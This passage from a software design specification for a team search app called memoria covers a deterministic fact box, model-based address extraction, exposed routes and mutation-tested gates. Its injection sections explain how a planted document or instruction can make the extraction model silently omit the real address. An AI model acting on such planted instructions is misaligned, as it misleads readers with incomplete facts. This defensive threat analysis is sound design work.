  landline"* primes no kind (`landline` is not in the lexicon), so no box
  is attempted.
- **A literal prefix shaped like a list marker is indistinguishable from
  markup.** A document whose label genuinely begins `2. ` loses it.


**Model kinds are not narrowed.** §8.9's candidates come from a model
reading passages, so there is no document-authored separator label to
match. They keep §8.9's own rules.

**Nothing here is logged**, as in the rest of this section: the
qualifiers are words from the query, and the query is content.

#### Where it sits on the page

Inside the `results` template definition, not above it. `results.html` is
rendered two ways from one definition — inside the page on a scriptless
submit, alone on `GET /search` for `search.js` — and a box outside it
would sit above a fragment that swapped underneath it, leaving query N−1's
answer over query N's results on every keystroke.

**Below §6.5's notices and above the list.** `results.html` already puts
the withholding callout above the results because *"a reader who scrolls
past the last result has already decided what the page means"*. A
confident single answer above the line saying the page is partial is the
same mistake reversed.

**Search page only.** Decision 14 makes the search page and
`/documents/{id}` the only two passage surfaces, and this is a feature of
one of them.

**Zero candidates renders nothing at all** — not "no phone number found".
The corpus is not the world, and a confident absence is this codebase's
own worst failure shape.

**Gate 14's first clause extends to the box** — every character of it
traces to a cited passage. **Its second does not.** "An all-dropped answer
says so rather than rendering empty" exists because an empty 🤖 paragraph
is indistinguishable from AI being off; a box that does not appear is
indistinguishable from nothing, which is what it means.

#### Injection, and the one place ambiguity pays for itself

§8.5's mitigation for a poisoned document is that every claim carries an
openable citation, and that it is a partial one. The box sharpens the
problem: it promotes a single document's assertion to the top of the page
with a validated-looking format around it. `Office phone: +353 1 000 0000`
in an uploaded file is a fact box, and no model was involved in believing
it.

Two things bound it and neither is a fix:

- The value is a cited span of a passage that passed §4.1, so the reader
  can open it, and a poisoned document is one somebody in this team put in
  this corpus.
- **The ambiguity rule fails safe against poisoning.** A planted second
  number does not replace the real one and does not outrank it — it makes
  the box show both, or show nothing if the whole citation line collides,
  or vanish past the cap. The attack that works against a single-answer
  box degrades into a visibly contradictory page, which is a property
  worth keeping rather than an accident to optimise away.
  **Narrowing (above, 2026-09-29) weakens this in one case.** On a page
  already over the cap, a planted label that alone carries the reader's
  word becomes the only row. The "Matched … N other …" line is what keeps
  the other candidates visible. That section states this rather than
  leaving it to be found.

#### Sequencing

**Slice 0, entirely.** Recognisers, the lexicon, the label rule, the box
and gates 35–37 need no sibling and no model. **Gate 34 needs a custody
fake that rules per item**, which `fixedCustody` is not — it returns one
disposition for every candidate from a single field — so the gate lands
with a fake extended to answer per item id, in `internal/memoria` at store
level, which is where its "assert the struct, not the page" demand is
natural anyway. Drafts 1 and 2 both said this gate could run against
"`memoriatest`'s sibling stub, which exists"; there is no such stub, and
that is the renamed-test failure §10 opens with, committed twice in the
section that cites it.

### 8.9 The model half: metadata deterministic analysis cannot reach

Paul's ruling, 2026-09-19, amending decision 15: *"do as much as possible
with deterministic analysis, and then attempt to build metadata with the
best value models via TensorX that make sense."*

The question put to him was narrow — should a postal address, which has
no checksum and therefore no validator, be extractable by a model? **The
answer he gave is general**: the deterministic layer is the floor and not
the ceiling, and where it cannot reach, a best-value TensorX model may.
**Everything below that sentence is the spec author's proposal for how**,
and decision 15's row says which parts are his and which are not.

**Draft 1 of this section overclaimed, and a review by Codex GPT-6-Astra
(2026-09-27) is why it no longer does.** It said "the model proposes, a
string comparison disposes" and that a hallucinated address "cannot reach
the page". The check it described proves where a value's **bytes** came
from. It does not prove the value is an address, that it is the whole
address, that it is the relevant one, or that the model returned every
address it was shown. Those are four model judgements, and this section
now says so instead of implying the check makes them.

#### Which kinds, decided by the kind and never by the outcome

**Eligibility is a property of the kind.** A fixed allowlist of *model
kinds* — today exactly one, `address` — may be sent to a model. **A
validator-backed kind never is**, whatever the deterministic layer did
with it: produced candidates, produced none, or produced some that the cap,
a collision or an over-long label then suppressed (§8.8). Draft 1 said the
model runs "where the deterministic layer produced nothing", which invites
treating an empty box as nothing; the box is empty for five different
reasons in §8.8, and none of them is licence to ask a model for a phone
number.

**Kinds are independent.** "Phone number and postal address" is two
requests: the phone goes to §8.8, the address to this section, and a
validated phone does not suppress the address request or the reverse.

**"No model is called" is a claim about this metadata path, per kind.**
§8.2's router runs after the box and may call a model for an answer
regardless; §8.8 says so and this does not change it.

**With AI off, nothing in this section happens** and §8.8 is unchanged.
Decision 5's floor is the search page and the deterministic box.

**Built ahead of the rest of slice 2**, on `feat/model-fallback`
(2026-09-27): the provider client, the `MEMORIA_AI` switch, this
section's extraction path and gate 39 — and nothing of the embedding
half. §11 sequences provider calls into slice 2; this is the first of
them to land. Draft 1 said gate 31 enforced the sequencing; it did not —
gate 31 forbids logging a provider's response body and says nothing about
when a provider may be called. What keeps content in the instance today
is the switch: with `MEMORIA_AI` unset no extractor is wired and gate 39
asserts, with its presence half, that no request is made.

#### What is sent

**Of the top eight ruled results, those still present, by rank** — the
passages §4.1 allowed in this request, bounded at eight to match §8.6's
answer-time budget. **Bounded by rank first and then thinned, never
refilled**: a chunk deleted between the ruling and the read makes the
payload smaller; it does not let result nine in. (The first build counted
survivors instead, and a review deleted result one and watched 2-9 go
out.) Not the twenty-five §8.8 scans: an address in result eleven is a
recall limit this section accepts in exchange for a bounded payload and a
response inside the deadline. Each passage is sent with an index, and
nothing else about it — no title, no path, no id.

**Per request, and that includes live search.** `GET /search` renders the
results region on each pause in typing and runs this path like the full
page does, so a query that asks for an address sends passages on every
debounced keystroke that reaches the server. The request context bounds
it — `search.js` aborts a superseded fetch and the call is cancelled with
it — but it is still a request per pause, and the README says so.

**Egress is the existing category with a new trigger**, and §3.2 now says
both halves: the same recipient and the same kind of transmission as the
answer path, but sent when a query names a model kind whether or not a
generated answer would follow. **The README names it now**, because
unlike the answer path it exists: it says what is sent, to whom, when,
and that live searches count. §3.6 is the full assistant's paragraph and
records why it is not yet the README's; §8.3 names this trigger beside
embeddings and answers.

**If decision 16 lands** — TensorX as zero-data-retention, treated as
equivalent to local inference, proposed on `design/zdr-treat-as-local` —
the retention wording here and in §3.2 aligns with it. **The transmission
disclosure does not go**: decision 16 changes what is retained, not what
is sent, and it says so itself.

#### What comes back, and what memoria checks

**The response contract** asks for every postal address in the sent
passages, as a list of `{passage: <index>, text: <exact bytes>}`, and
nothing else. **A response the provider marks truncated is rejected
whole**, not partially used; a malformed one likewise.

**Each proposal becomes a coordinate or is dropped.** For every returned
`{passage, text}`:

1. `passage` must name a passage that was sent. A reference to a passage
   that was not sent — including an authorised result ranked ninth, which
   was never in the request — is dropped.
2. `text` must be non-empty, at least 12 bytes, and contain a digit, a
   comma or a line break — **structural, not a validator**, and there to
   stop `Dublin` or `1` passing because they occur somewhere.
3. **`text` is located in that passage by exact byte search — no
   normalisation of case, whitespace, quotes or Unicode form.** NBSP versus
   space, curly versus straight quotes, a line break flattened to a space:
   each is a refusal, deliberately. A span crossing two passages is a
   refusal. These are real recall limits and they are chosen over any
   mapping back to source bytes, which would be a second parser (§8.7).
4. **The first occurrence in that passage, by byte offset, is the one** —
   deterministic, and never the provider's return order or a map's.
5. The occurrence must **begin and end on a word boundary** and must **not
   lie inside a span §8.8's recognisers found** — a street name inside an
   email address is not an address.
6. The candidate is now the immutable coordinate **(passage, start byte,
   end byte)**. The span displayed is sliced from the document at it; the
   label is derived by §8.8's five rules at `start`; the citation is that
   passage. **The model's own string is discarded** — its only role was to
   be found.

**Identity is the byte-exact span.** An address has no canonical form, so
two spellings are two candidates; the same bytes in two passages are one,
cited to the better-ranked passage, as §8.8 does.

**Cap, collision and over-long labels then apply to the accepted
proposals**, per §8.8, with the same results: four accepted addresses
render nothing, a colliding citation line renders nothing, an over-long
label silences the kind.

#### What does not survive, stated rather than implied

Draft 1 said every §8.8 guarantee survives. Three do not, and a reader
of a model row has to be told:

- **"Never picks" does not hold.** §8.8 scans every recognised candidate
  in its result set; this section sees only what the model chose to
  return. If the passages hold four addresses and the model returns one,
  every check passes and the box shows one address as though it were the
  only one. **That omission is undetectable from inside memoria.** The
  exhaustive contract and the truncation refusal reduce it; nothing
  removes it.
- **The cap and collision rules cannot fire on what was never returned.**
  An omitted fourth address means a box of three where §8.8 would have
  shown none.
- **§8.8's poisoning argument weakens.** A planted second phone number
  makes a deterministic box show both or vanish — **except on a page over
  the cap where the planted label alone carries the reader's word**, which
  §8.8's narrowing (2026-09-29) turns into a single row with a line
  counting the others. A planted instruction in
  a passage can make the model omit the real address instead — the attack
  §8.8 says degrades into a visible contradiction degrades here into a
  silent omission.

**So a model row never inherits the deterministic layer's claim.** It is
marked 🤖 and names **both the provider and the model** — "TensorX ·
deepseek/deepseek-v4-flash-0731" — and is visually distinct from a row a
checksum vouched for. Both, because decision 4 names the *provider*: a
row naming only the model names DeepSeek's weights and never the company
that received the passages. (Draft 2 said "names the model" while citing
the requirement to name the provider; a review caught the substitution.) A reader must be able to tell "validated" from "a model
pointed here, and the text really is in the document" at a glance.

**What the checks do guarantee, narrowly:** every accepted value is a
byte-exact span of a passage that passed §4.1 in this request and was
sent; its label is the document's; its citation opens on it. **Its
classification, completeness and relevance are the model's judgement.**

#### Model and tier

`model.cheap` (§8.2, §8.3 — `deepseek/deepseek-v4-flash-0731` at the time
of writing) **is the chosen initial tier, not a consequence**. Paul asked
for "best value models"; extraction from eight passages is the cheap
tier's work under §8.2. A better model would extract better, and draft 1's
claim that a string-checked task "does not improve with a better model"
was wrong. Re-measure against labelled cases before treating the tier as
settled.

**Deadline: 800 ms**, §6.5's sibling deadline reused. The call rides the
request's context, so an abandoned keystroke on the fragment route cancels
it. Past the deadline, or on any provider error, the box renders without
model rows and the page is otherwise unchanged. **Nothing from the request
or the response is logged** — status and a fixed string only (gates 4, 31).

#### Four surfaces the first build missed

Found by the final pre-merge review (Codex GPT-6-Astra, 2026-09-27), each
reproduced before it was fixed, and each a place content could leave or a
claim could be false **outside** the path the section above describes:

- **Go's own transport logger.** With keep-alives on, bytes a provider
  sends on an idle pooled connection are reported by `net/http` with the
  standard library's `log.Printf`, quoting them — past every sanitised
  error path. The client disables keep-alives; a fresh handshake per call
  is the cost, inside the deadline.
- **The footer on every page.** It said "no document ever leaves this
  instance" while a search had just sent passages. It now states the
  switch: with AI on it names TensorX and the trigger; with AI off it
  makes the strong claim, which is then true. A gate walks every declared
  GET route and checks each footer at whatever status it renders; a route
  that renders no footer must be on a list with its reason, or the walk
  fails, and each listed reason was verified rather than assumed. The
  pages that exist only when Home is configured are checked by name
  through the Home fixture — eight of them, including four `/auth/`
  failure pages that render the footer at 400. That is the coverage; it
  is not "every page in every configuration", and a new Home page has to
  be added there by hand. (The first two versions of this gate missed,
  in turn, every non-200 page and then the four `/auth/` failure pages —
  each found by review.)
- **Processing time.** The deadline covered the call and not the work on
  its response; a legal-sized response of repeated proposals took 6.8 s to
  validate. One deadline now covers both, identical proposals are
  validated once, and the recognisers run once per passage.
- **Native search.** `POST /api/native/search` built the box — so called
  the model — and its response has no field for facts: egress for an
  answer the client never received. It now searches without the box, and
  moves back when the native client can show attributed facts.

#### Injection

§8.5 is unchanged and its mitigation is the same partial one, with the
omission case above added to it. **The checks defend against invented
bytes; they defend against neither the corpus lying nor the model being
steered into silence.**

#### What "that make sense" leaves open, and it is Paul's

Which metadata is worth a query-time model call. Postal address is ruled
in. Opening hours, a person's role, an effective date, a registration
number in a format memoria does not know are plausible and unruled. **The
proposed test** is "is the answer a verbatim span somebody would want
cited" — anything needing summary is an answer, not metadata, and §8.2
owns answers. §13 records it.

**And the deterministic half of Address is not built yet, which is the
next step Paul's rule asks for.** A validated eircode certifies the
address block it ends; extracting that block deterministically would serve
most Irish addresses with no model at all. §12 carries it.

#### Gate

**39. The model half sends only what it may, accepts only what it can
locate, and never touches a validator-backed kind** (§8.9). Against a stub
provider that records every request body and returns scripted responses.
**Every case asserts on the recorded requests as well as on the page**,
because draft 1's version could not see an egress that had already
happened by the time the box rendered nothing.

- **Presence.** A scripted span that is in a sent passage renders, as the
  full tuple `(span, title, trail, label, DocumentID, Ordinal)`, marked 🤖
  with the model named — and the recorded request contains exactly the
  top eight ruled passages.
- **A span in no passage** → no row; the stub confirms the response was
  delivered, so "no row" is a refusal and not a failed call.
- **A span in an authorised result ranked ninth**, which was never sent →
  no row. A check run against all authorised results rather than the sent
  set passes every other fixture.
- **A withheld document**, with a visible control in the same search: the
  recorded request contains the visible passage and **not** the withheld
  one, and a span present only in the withheld one renders nothing.
- **The same text in a visible and a withheld passage** → one row, cited
  to the visible passage, every tuple field checked.
- **Two occurrences in one passage with different labels** → the first by
  byte offset, both label and citation.
- **Normalisation refusals:** NBSP, curly quotes, a flattened line break —
  each returned in the "wrong" form → no row.
- **Short and embedded spans:** `Dublin`, the empty string, and a
  street-name fragment inside a recognised email → no row.
- **A truncated response** → no model rows at all.
- **Validator-backed kinds never reach the provider**, counted at the stub
  by purpose: zero valid candidates, candidates suppressed by the cap, by
  a collision, by an over-long label, and a mixed `phone number and postal
  address` query — which must send exactly one request, for the address.
- **AI off** → zero requests for every fixture above; **with a presence
  half**, the same query with AI on does send one.
- **A provider error and a timeout** → the page renders without model rows,
  and nothing from either is in the log.
- **Four addresses in the passages, one returned** → one row renders. This
  is the undetectable omission, asserted as the documented behaviour so
  that it is a known limit and not a surprise; the day something can detect
  it, this case goes red on purpose.

Draft 1 listed "render the model's string instead of the source slice" as
a mutation this gate catches. **It cannot, and it does not matter:** for an
exact match the bytes are identical. What matters is the coordinate — which
occurrence, which passage, which citation — and the tuple assertions above
are what see a wrong one.

---

## 9. Surfaces

### 9.1 What memoria exposes

Draft 1's §9 specified `POST /ingest`, `DELETE /ingest/{doc}` and
`GET /feed?since=` with per-consumer bearer tokens — **the inbound push
surface decision 7 forbids and §6.1 argues against**. Both reviewers
caught the contradiction; it was carried over from an earlier pass that
predated the pull-only ruling.

memoria exposes exactly two surfaces:

- **A person-facing web surface**, authenticated by home assertion,
  scriptless-first. `GET /query?q=` renders passages; `&answer=1` adds
  the model layer. `q` capped at 1 KiB and **never logged**.
- **A connector ingest surface for memoria-owned content only** (§4.2) —
  external connectors and manual upload. Per-connector bearer token
  stored hashed, origin allowlisted, body cap 1 MiB with the reason
  measured before the constant is committed. **This is not a sibling
  path**, and a sibling presenting a connector token is refused: the two
  credential sets are disjoint and separately scoped.

**What the app actually serves.** Gate 17 **is** implemented, as of
2026-09-05 — `TestNoUndeclaredRoutes` walks the router's registrations
and fails any this list does not name. main's copy of this paragraph
said it was specified and not implemented, which was true of that
branch and stopped being true on merge. The list stays written down
anyway, because a gate read from a list that matches the app is worth
more than one read from memory:

`GET /`, `GET /search`, `GET /documents/{id}`, `POST /documents`,
`GET` and `POST /documents/{id}/delete` (the GET asks before the POST
deletes), the connector routes under `/connectors/…`, public
`GET /help/open-source`, `POST /appearance` (the shared chrome's
Appearance cookie: inside CSRF, outside the session gate), public static
`GET /static/credits.css`, and the auth routes (including
`GET /auth/landed`, where a verified link lands on the way back to the
page the person asked for).

Two of those need saying out loud. **`GET /query?q=` above is not served
and never has been** — the search page is `GET /?q=`, and the paragraph
above has specified a path the app does not have since draft 1.
**`GET /search` is new on 2026-09-05**: it renders the results region
alone, from the same template `GET /?q=` renders it inside a page, so
that live search can replace that region on a keystroke. It is a
narrower surface than the page, under the same session gate, and it adds
no passage the page did not already speak. It is not a second query
surface and not a step toward one; delete the script and nothing calls
it.

**A hand-off whose sources include memoria-owned material is refused, and
that is a real product cost.** Suite §7 lets a person hand an artefact to
another app through their own session — "save this answer as a Doc" — but
it requires the *receiver* to check every source with its app of record.
For a passage from Docs or Sheets that works. For memoria's own uploads,
Notion pages and forwarded mail (§4.2), **memoria is the app of record and
serves nobody to ask**, because decision 7 gives it no sibling-facing
surface. So the receiver cannot check, and the hand-off cannot complete.

**Refused until a decision opens that surface**, rather than opened here by
implication. Opening it means a new decision with its own §3.2 leak entry
and its own gate, exactly as §12 requires of any consumer of memoria — and
decision 7 is settled, so widening it is Paul's and not a corollary. The
cost is concrete and belongs in front of him: **an answer built on the
team's own uploads cannot be saved into Docs**, while one built purely on
sibling passages can. That asymmetry will look like a bug to a reader long
before it looks like a ruling. *(Raised by GPT-6's review of the doctrine,
finding 3, via A.4.)*

**No feed. Nothing consumes memoria.** If something ever does, that is a
new decision with its own leak-list entry, not an endpoint left lying
around for it.

**MCP is deferred** as a thin adapter over the query surface. Trigger:
the first consumer that speaks it.

### 9.2 The home links; it never renders

Home §2.2 forbids the home rendering content from an instance, and a
generated answer is content; it also forbids it holding an authorization
model, which choosing whose answer to show would be. memoria is per-team,
so "the home knows everything about all the apps" across teams is
federation.

**The home gets one directory row (`app = memoria`) and a search box that
is a GET form redirecting to the team's memoria**, call-6 style. memoria
renders on its own origin. The home never sees `q`.

---

## 10. Testing gates

**Two rules govern this list, and §1.4 is why.** Three of the first five
gates built could not fail for the thing they named.

- **After writing a gate, break the thing it guards, watch it go red,
  revert** — per path, not per file, and the test comment records what
  was mutated and when. Every gate below states its mutation.
- **A gate asserting an absence must first assert the presence of the
  thing whose absence it checks.** Gate 4 is the worked example: "no
  sign-in link in the logs" was true because the test app never sent one.
  An assertion that could not have been produced is not an assertion that
  passed, exactly as a count that fails is not a count of zero.

The gates:

1. **Plaintext grep** over raw SQLite bytes and bucket objects, from the
   first commit. `plaintextExempt` starts empty.
2. **Inversion probe** — the gate the byte grep cannot see, with the
   threshold draft 3 promised and never gave.

    **First, the presence assertion, which draft 4 omitted and without
    which this gate is green on slice 0 for exactly the reason gate 4 was
    green.** Slice 0 has no embeddings (§11), so an absence-only version
    of this gate passes against a store containing no vectors at all, and
    would keep passing on the day vectors arrive unsealed if the seeding
    silently failed. So: seed a 200-chunk corpus of known text, then
    **read the sealed vector blob back through `seal.Open` and assert it
    decrypts to 200 vectors of the configured dimension**, with the
    sentinel chunk's vector matching the one the stub embedder returned.
    Only then is the absence check below an assertion rather than a
    description of an empty world.

    **Then the absence check, in two forms.** Take the bytes at rest —
    the SQLite file, its WAL, and every bucket object — and:

    - **parse them as contiguous matrices** at each plausible dimension
      (256/512/768/1024/1536) under each plausible dtype (int8, f32, f64,
      both endiannesses). For every parse yielding a well-formed matrix,
      compute its pairwise cosine matrix and correlate that against the
      true corpus's. **Fail if any parse correlates above r = 0.20** —
      far below what a real embedding scores against itself, far above
      what noise reaches over 200 chunks;
    - **grep for the sentinel vector**, the way
      `TestPlaintextNeverReachesTheDatabase` greps for a canary string.
      One seeded chunk gets a fixed, distinctive vector from the stub
      embedder; the gate searches the at-rest bytes for its leading
      components in each dtype and endianness **and** for their decimal
      text renderings. This is what catches the encodings the matrix
      parse cannot see — a JSON array, a length-prefixed or row-framed
      layout, one vector per row with a header between them — because
      none of those presents as a contiguous matrix, and all of them are
      shapes a store might plausibly grow.

    Mutation: write the vectors unsealed and both halves go red — the
    correlation at r ≈ 1.0, the grep on the sentinel. Break the seeding
    and the gate fails on the presence assertion rather than passing.

    **What it still does not guard, stated rather than implied:** an
    encoding that stores neither a contiguous matrix nor any sentinel
    component recognisably — a quantisation or transform applied before
    writing, say — passes both halves. The claim is therefore *"nothing
    at rest is a vector in a form anyone would write one in"*, not
    *"nothing at rest is derivable from a vector"*. The stronger probe,
    running an actual inversion model against the at-rest bytes, needs
    weights this binary cannot carry and is deferred with that reason in
    §13.
3. **Feed rows carry no content and no visibility flag** — grep extended
   over S1 rows, asserting the absence of the field draft 1 had.
4. **No content in logs**, covering query text, answer text, cited
   snippets and any model-call ledger — **and its credential half must
   first prove a credential was sent.** `TestNoContentInLogs` asserts
   that no sign-in link reaches the logs while the test app wires no auth
   and therefore never sends one, so that half passes on an empty world.
   It must instead build the app with a mail sink, drive the begin route
   with a real address, assert **(a)** the sink captured a link, and only
   then assert **(b)** that link's token appears in no log line. (a) is
   what gives (b) the ability to fail. Mutation: log the link and (b)
   goes red; disable the mailer and the gate fails on (a) rather than
   passing.

   **The routes, read out of the code rather than remembered**, because a
   gate naming a route the app does not serve is the renamed-test failure
   §10 opens with. `internal/memoria/app.go` registers `GET /signin` (the
   form), `POST /auth/begin` (the submit, `a.auth.Begin`) and
   `GET /auth/verify` (the landing, `a.auth.Verify`);
   `internal/memoria/auth.go` sets `SigninPath: "/signin"`. So the gate
   posts to `/auth/begin`, and the token it then hunts for is the one in
   the `/auth/verify?…` link the sink captured. The existing
   `TestNoContentInLogs` greps for the literals `"sign-in link"` and
   `"auth/verify?"`, which is the right target and the wrong method: it
   asserts nothing was logged without ever proving one was sent, and
   greps for a route spelling rather than for the captured token, so a
   mailer that logged the token alone would slip through. Both halves
   move to the captured link.
5. **Two people get different answers.** End-to-end, two assertions, one
   sibling holding a document granted to one of them: the passage renders
   for one person and not the other, and the sibling's own grants join is
   what decides. Draft 2's version asserted only that an authorization
   call happened, which the draft-2 review correctly called weaker than
   the claim — it stays green with a constant `VISIBLE`, with the wrong
   person ref, or with authorization performed *after* disclosure.
6. **Every S2 result is handled, and the decoder is total.** All five
   values get their specified behaviour, `AHEAD` included and named
   because draft 4 added the value and left it out of the gate that
   proves the decoder covers everything: `VISIBLE` renders, `NOT_VISIBLE`
   omits silently, `STALE` withholds loudly and refetches, **`AHEAD`
   withholds loudly, marks the source for re-announce and deletes
   nothing**, `UNKNOWN` withholds loudly. And the total-decoder half: a
   timeout, non-2xx, malformed body, missing item, duplicate item, short
   response, **or any result value the client does not recognise** maps
   to `UNKNOWN` rather than falling through to omission. Mutation: add a
   sixth value `PERHAPS` to the fixture's responses and the gate must go
   red on the unrecognised-value case, not green by ignoring it; drop
   `AHEAD`'s arm and the `AHEAD` case falls to the default, which must
   also be red.
7. **An enumeration diff distinguishes empty from failed**, and deletes
   nothing on a timeout, credential error or partial page.
8. **Circuit breaker, at §8.1's predicate** — five named cases, and
   three of them are cases where it must stay silent.

    - **Fires.** Three people each had `VISIBLE` from Sheets in the
      baseline week; in the window each queries Sheets and receives only
      `NOT_VISIBLE`. It fires, states the anomaly, appears on the owner's
      sources page and **not** on any reader's results page, and purges
      nothing.
    - **Silent: three Docs-only members.** A team where one person uses
      Sheets and three do not. The three query 50 times each — four pages,
      200 pairs, comfortably over every threshold draft 4 had — Sheets
      answers wholesale `NOT_VISIBLE`, and the Sheets user does not query
      that day. **The breaker stays silent**, because none of the three is
      in the baseline set. This is the case draft 4's predicate got
      wrong, and it is the mutation target below.
    - **Silent: a 24-hour outage.** Sheets answers `UNKNOWN` to
      everything for a full window, including to baseline askers. Zero
      `VISIBLE`, no `NOT_VISIBLE`. **The refusal breaker does not fire**;
      §6.5's partial-page notice reports the outage instead.
    - **Silent: below the asker floor.** Two baseline askers, refused all
      window. Nothing fires.
    - **Cannot determine.** Delete the durable counters, or start the app
      with fewer than 7 days of history, and the sources page must say it
      cannot determine the breaker's state for that sibling, **naming
      which of window and baseline it lacks**. Assert the string. It must
      not say "no anomaly", and it must not say nothing.

    Survives a restart: write counters, stop the app, start it, and the
    breaker still sees the baseline — which is the assertion that they
    are durable rather than in-memory, and memoria hibernates.

    The S3 breaker gets the same five-case treatment at its own numbers
    (20 fetches, all 404, one prior success), and the `AHEAD` breaker
    is covered by gate 27.

    **Mutations, and each is per path.** (i) Replace the per-asker
    transition with draft 4's "zero `VISIBLE` in the window" and both the
    Docs-only case and the outage case go red. (ii) Count `VISIBLE`
    absence instead of `NOT_VISIBLE` presence and the outage case goes
    red alone. (iii) Let the baseline overlap the window and the
    fires-case goes red, because every firing asker is then their own
    baseline. (iv) Return "no anomaly" when the counters are missing and
    the cannot-determine case goes red.
9. **Derived artefacts expand to full provenance**, and one
   `NOT_VISIBLE` source withholds the artefact — **including at two
   hops.** An artefact built from an artefact built from a sibling
   document must send that document's `(id, revision)` to S2, and must be
   withheld when the sibling refuses it. Assert also that no `roots`
   entry is an artefact id. Mutation: stop flattening at generation time
   and the two-hop case renders, which is the laundering §5.2 forbids.

    **And the memoria-owned revision case** (§5.2 steps 1 and 3), which
    is where draft 4's id-only roots failed: generate an artefact from
    revision 1 of an uploaded document, re-upload the document as
    revision 2, and assert the artefact is **not served** — it is
    regenerated, and until it is, the reader gets the slot table rather
    than a stale summary. Assert too that its `roots` entry recorded a
    revision at all. Mutation: record memoria-owned roots as bare ids and
    this case goes red while every sibling case stays green, which is
    exactly how it survived draft 4.
10. **Deletion survives a restore** — a tombstone applied, a snapshot
    superseded and retired, then a restore from the prior generation must
    not serve the deleted passage. This is *memoria's* restore; the
    mirror case, a **sibling** restored behind memoria, is gate 27.
11. **Cross-team dial refusal**, including redirects.
12. **Token rotation** — all three phases, each interrupted and resumed,
    across a partial multi-sibling delivery.
13. **Two-consumer isolation** on the sibling endpoints.
14. **Answer sentences cite listed passages**; an all-dropped answer says
    so rather than rendering empty.
15. **AI-off floor** — every affordance in §8.1 works scriptless with the
    provider unreachable, **and no egress occurs**, asserted by a network
    guard rather than by inspection.
16. **A sibling credential is refused at the connector routes**, and a
    connector credential at nothing else. §9.1 asserts the two sets are
    disjoint; nothing tested it.
17. **No sibling-facing endpoint exists.** Enumerate memoria's routes and
    fail any inbound route not on the person-facing or connector list —
    the regression gate for the push surface draft 1 shipped by accident.
    **The list is literal, not descriptive:** `GET /`, `GET /documents/{id}`,
    `POST /documents`, `GET` and `POST /documents/{id}/delete`, public
    `GET /help/open-source`, `POST /appearance`, public static
    `GET /static/credits.css`, plus the auth routes.
    Written that way so that adding a thread or chat route goes red on the
    way in (decision 14) rather than being argued about afterwards.
    **Built 2026-09-04** as `TestNoUndeclaredRoutes`; **rewritten
    2026-09-05 after a review mutation-tested it and found the first
    version blessing five idioms.** It keyed on path alone, so
    `r.Route("/chat", …)` passed on the declared `"/"` inside it,
    `r.With(mw).Post` was invisible because the receiver is a call rather
    than an identifier, `r.Delete` passed on a path declared only for GET,
    `r.Handle("/")` bound every method at once, and — worst —
    `mux.HandleFunc("/documents", …)` served a **declared** path while
    bypassing `requireSession`. It now keys on **method and path together,
    which is what this list already declared**, and keeps the chi and
    `ServeMux` namespaces apart. Eight mutations, each verified red and
    reverted, are named in the test's own comment. It reads the AST, not a
    grep. What it still does not catch: a route registered through a helper
    outside `internal/memoria` and `cmd`, or on a receiver renamed away
    from `r`/`mux`.
    **A note on how the rewrite nearly went wrong.** Following an arbitrary
    selector chain to find the receiver made `r.URL.Query().Get("err")`
    resolve to `r`, and the gate reported two query parameters as
    undeclared GET routes. `r` is the conventional name for a request as
    well as a router. The chain now follows only chi's own chaining
    constructors — caught by running it, not by reading it.
    The declared list gained the five connector routes on 2026-09-06,
    when this gate caught them arriving from main — which is the gate
    working: five routes shipped and none could reach the app until
    somebody wrote them down.
18. **External-source authorization and disclosure, against §4.2's two
    facts.** Draft 4 said "governed by memoria's grants", which named a
    table §4.2 says does not exist; a gate written from that sentence
    would go looking for grant rows and find none. The two facts are the
    whole test, so the gate asserts both, each able to fail on its own:

    - **admission is the only door.** Two admitted people both see a
      memoria-owned document — there is no per-person filter to
      distinguish them, and asserting that is asserting §4.2's
      team-wide-by-construction claim rather than trusting it. Then flip
      one person's only vouching sibling to `NOT_MEMBER` and, past the
      cache, they see nothing memoria-owned at all.
    - **presence is the other.** Delete the document *in memoria* and it
      is gone for everyone; revoke it upstream instead — disconnect the
      Notion integration, remove memoria's Drive access — and it is
      **still served**, which is the §3.6 README's promise stated as a
      test rather than as copy.

    Mutation: add any per-person condition to the memoria-owned path and
    the first case goes red; make an upstream revocation remove the
    document and the second goes red *and* §3.6 becomes false, which is
    the pairing worth having.
19. **Mixed-provenance authorization** — a derived artefact with one
    sibling source and one memoria-owned source requires both, spans
    multiple S2 batches, and withholds when either fails.
20. **The wake budget and the corpus ceiling**, run against a real corpus
    rather than asserted, failing when the measured footprint at the
    stated chunk count exceeds the budget. §7's numbers were wrong twice
    with no gate to notice.
21. **Admission is read, not held.** A person absent from the roster is
    refused, and an unreadable roster refuses rather than admits.
    **Lone half built 2026-09-05** as `TestAdmissionRefusesANonOwnerAtVerification`;
    **suite half owed** at slice 1, when admission becomes the home's
    roster (suite call 8) rather than the owners list.
    The built half asserts at the moment that decides, which is
    **verification, not submission**: `rastrillo/auth`'s `admit` runs
    `Config.Authorize` against the address it has just verified, after the
    magic link is followed. So the gate sends a link while the address is
    an owner and follows it through an app built with a different owners
    list — an owner removed between asking for a link and clicking it — and
    requires a 403 *and* no session cookie. Two-sided: the admitted case
    must reach a session, or "no session" is satisfied by a broken link, a
    mailer that never fired, or pending state that did not survive.
    *This entry claimed until 2026-09-05 that "the fixtures change with the
    prose". There were no fixtures. Nothing in `internal/memoriatest` had
    ever asserted admission, so retiring S7 replaced nothing and the claim
    described work that had not happened.*
    **Falsified once, by the author, to prove it is not vacuous** — making
    `Admits` return true for everyone turns it red on the session-cookie
    assertion. **No author-chosen mutation set is recorded**, per §1.9: the
    adversarial pass belongs to someone who did not write it, and is owed.
22. **Unit certification, and memoria is what certifies** (§8.7). Five
    cases, and the first assertion in each is **that S6 was or was not
    called**, because §8.7's ruling is that the refusals happen *before*
    the call:

    - three cells formatted `€#,##0` → S6 called once, a number shown,
      and the number is S6's `display` string byte for byte;
    - `€#,##0` against `k€#,##0` → **S6 is never called**, `MIXED_UNITS`,
      no number, and the notice names both format codes;
    - three cells formatted `General` under a header carrying no unit
      word → **S6 is never called**, `UNIT_UNKNOWN`, no number, and the
      notice names the cells — the case draft 3 would have averaged;
    - a `General` cell under a header reading `€k`, with its co-operands
      certifying to `€k` too → S6 called, a number shown, **the unit
      named beside it and attributed to the header** rather than folded
      into the figure;
    - the re-certification arm: certify from the indexed format code,
      then have the S6 fixture return a *different* `format_code` for the
      same cell → no number, and the source marked for re-ingest.

    Mutations: treat `General` as a unit and case 3 goes red; rescale
    `k€` to `€` and case 2 goes red, which is the assertion that memoria
    does no unit algebra; re-format S6's value instead of passing its
    `display` through and cases 1 and 4 go red; move certification after
    the S6 call and every "S6 is never called" assertion goes red.
23. **The deadline and the concurrency** (§6.5), **on two fixtures,
